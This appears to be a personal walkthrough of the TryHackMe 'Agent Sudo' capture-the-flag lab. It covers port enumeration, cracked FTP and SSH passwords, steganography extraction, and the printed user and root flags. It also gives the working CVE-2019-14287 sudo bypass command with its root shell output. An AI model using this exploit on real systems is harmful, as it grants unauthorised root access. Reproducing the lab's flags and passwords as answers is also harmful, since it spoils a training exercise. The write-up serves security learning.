Agent Sudo

Title: **Agent-sudo** IP Address: **10.10.129.182**

```
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
```

Dear agents,

Use your own **codename** as user-agent to access the site.

From,
Agent R

---**All Found Files Below**---

FILES:

[Task 1] Author note

Title: **Agent-sudo** IP Address: **10.10.129.182**

Welcome to another THM exclusive CTF room. Your task is simple, capture the flags just like the other CTF room. Have Fun!

If you are stuck inside the black hole, post on the forum or ask in the TryHackMe discord.

[#1] Deploy machine

[Task 2] Enumerate

Title: **Agent-sudo** IP Address: **10.10.129.182**

You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C

----

http://10.10.129.182/agent_C_attention.php
Attention Chris,

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

From,
Agent R

[Task 3] Hash cracking and brute-force

Title: **Agent-sudo**   IP Address: **10.10.129.182**

```
---------------------------------------------------------------------------------
[21][ftp] host: 10.10.129.182   login: chris   password: crystal
 ---------------------------------------------------------------------------------------------------------
 taj702@kali:~$ ftp 10.10.129.182
Connected to 10.10.129.182.
220 (vsFTPd 3.0.3)
Name (10.10.129.182:taj702): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> mget *         to download all files
-----------------------------------------------------
```

check and extract with binwalk to find files

--

zip password is **alien**

--

Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

QXJlYTUx = **Area51** which is steg password I found with Cyberchef

----

text document hidden in .jpg file, extracted with steghide to find **message.txt**

Hi **james**,

Glad you find this message. Your login password is **hackerrules!**

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

[Task 4] Capture the user flag

Title: **Agent-sudo**   IP Address: **10.10.129.182**

----

ssh james@10.10.129.182

----

user flag: **b03d975e8c92a7c04146cfa7a5a313c7**

----

incident: **roswell alien autopsy**

[Task 5] Privilege escalation

Title: **Agent-sudo**   IP Address: **10.10.129.182**

```
james@agent-sudo:~$ whoami
james
james@agent-sudo:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

```
User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
 ----------------------
CVE-2019-14287
----------------------------
james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

james@agent-sudo:~$ sudo -u \#$((0xffffffff)) /bin/bash
root@agent-sudo:~# whoami
root
root@agent-sudo:~# ls
Alien_autospy.jpg  user_flag.txt
root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.

Your flag is
b53a02f55b57d4439e3341834d70c062
 By,
DesKel a.k.a Agent R
 ----------------------------------------------------------------------
bonus question answer is Deskel
```